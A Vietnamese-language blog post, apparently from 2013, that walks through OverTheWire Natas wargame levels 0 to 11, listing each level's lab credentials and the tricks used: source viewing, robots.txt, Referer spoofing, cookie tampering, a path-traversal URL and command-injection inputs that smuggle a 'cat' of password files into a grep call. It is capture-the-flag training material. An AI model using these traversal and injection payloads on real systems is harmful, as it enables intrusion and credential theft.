Sunday, October 20, 2013

Wargames : http://www.overthewire.org/wargames/natas/ lv0 -> lv5( Firefox + live http headers)

Link :
http://www.overthewire.org/wargames/natas/
User name tại mỗi lv là natasX( X là lv). Nhiệm vụ chúng ta là phải đi tìm password flag
1.Lv0->Lv1:
http://natas0.natas.labs.overthewire.org/ 

user: natas0, pass: natas0
Bấm Ctrl+U(firefox) xem mã nguồn site
Password tiếp theo xuất hiện ngay tại dòng 16:

2.Lv1->Lv2:
http://natas1.natas.labs.overthewire.org/
user: natas0, pass: gtVrDuiDfck831PqWsLEZy5gyDz1clto
Tiếp tục view source(Ctrl+U):
Password  xuất hiện ở dòng 17:

(Sử dụng trên chrome khả năng sẽ bị chặn viewsource).
3.Lv2->Lv3:
http://natas2.natas.labs.overthewire.org/
user: natas2, pass: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
Dòng 15 khả nghi...

Dòng này gợi ý ta có thể xem list một vài file tại :
http://natas2.natas.labs.overthewire.org/files/
Xuất hiện file users.txt, link:
http://natas2.natas.labs.overthewire.org/files/users.txt
Nội dung file:
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH
Thấy password của natas3
4.Lv3->Lv4:
http://natas3.natas.labs.overthewire.org/
user : natas3, password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
Dòng 15:

Gợi ý 'No more information leaks!! Not even Google will find it this time', một số site sử dụng file robots.txt để chặn google bot.
Tìm ngay file này :
http://natas3.natas.labs.overthewire.org/robots.txt
Nội dung file:

User-agent: *
Disallow: /s3cr3t/
Gợi ý tìm tới đuờng link:
http://natas3.natas.labs.overthewire.org/s3cr3t/
Thấy xuất hiện:
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
5.Lv4->Lv5: 
http://natas4.natas.labs.overthewire.org
user : natas4, password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
Thông báo xuất hiện:
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/" 
Dòng này có nghĩa là sẽ truy cập đuợc natas4 nếu đến từ
http://natas5.natas.labs.overthewire.org/
Refresh lại sử dụng live http headers chỉnh Referer thành :
http://natas5.natas.labs.overthewire.org
Ra trang cần tìm:
http://natas4.natas.labs.overthewire.org/index.php
Nội dung:
Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq 
6.Lv5->Lv6:
http://natas5.natas.labs.overthewire.org
user : natas4, password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
Đăng nhập với password cho lv5 tìm đuợc ở trên. Xuất hiện thông báo trên trang index. Sử dụng live http headers, thấy trong Cookie, biến loggedin=0 -> Set lại bằng 1 rồi replay
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
7.Lv6->Lv7:
http://natas6.natas.labs.overthewire.org/
user : natas6, password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
View source( click vào link 'View sourcecode' trên index):
include "includes/secret.inc";
    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is ";
    } else {
        print "Wrong secret";
    }
    }
Chú ý đoạn "includes/secret.inc", check thử file này và view source: http://natas6.natas.labs.overthewire.org/includes/secret.inc
-> Quay lại paste cái secret tìm đuợc vào form, ra password lv 7.Next lv
8.Lv7->Lv8: 
http://natas7.natas.labs.overthewire.org
user : natas7, password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
View source:
Home
About
Lỗi LFI, khai thác:
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8
password:
9.Lv8->Lv9:
http://natas8.natas.labs.overthewire.org
user : natas8, password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
Xem mã nguồn của trang
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is ";
    } else {
    print "Wrong secret";
    }
}
Tìm secret để nhập vào theo thứ tự : base64_decode(strrev(hex to character($encodedSecret))) -> secret = oubWYf2kBq.
10.Lv9->Lv10:
http://natas9.natas.labs.overthewire.org
user : natas9, password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Source
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
File dictionary.txt http://natas9.natas.labs.overthewire.org/dictionary.txt -> Command injection. Mục đích bypass dòng command
passthru("grep -i $key dictionary.txt");
Thử nhập vào input : a ra rất nhiều giá trị bên trong file dictionary abc không có kết quả trả về Thử đọc file ../../../../etc/natas_webpass/natas10 xem có tồn tại không?. Nhập vào input giá trị:
"abc dictionary.txt;cat ../../../../etc/natas_webpass/natas10;grep -i abc "
(không có " ở đầu vào cuối) -> password lv 10: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu 11.Lv10->Lv11:
http://natas10.natas.labs.overthewire.org/index-source.html
user: natas10
password:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
source:
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
Chặn các ký tự kết thúc và gộp command(;,|, &). Bypass bằng cách nhập vào input:
" "" ../../../../etc/natas_webpass/natas11 "
(Lợi dụng option của câu lệnh grep) Câu lệnh này sẽ thực hiện in toàn bộ 2 file có thể thay bằng
" -A 1 "" ../../../../etc/natas_webpass/natas11 "
password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
11.Lv12->Lv12:
http://natas11.natas.labs.overthewire.org
user : natas11
password:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

No comments:

Post a Comment